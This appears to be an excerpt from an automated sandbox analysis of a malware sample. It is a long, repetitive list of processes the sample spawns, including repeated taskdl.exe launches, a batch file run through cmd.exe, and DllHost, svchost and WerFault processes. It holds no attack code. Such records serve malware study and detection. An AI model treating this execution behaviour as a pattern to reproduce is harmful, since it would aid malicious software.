              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 36751721951490.batJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -pJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Jump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Jump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6768 -s 916Jump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
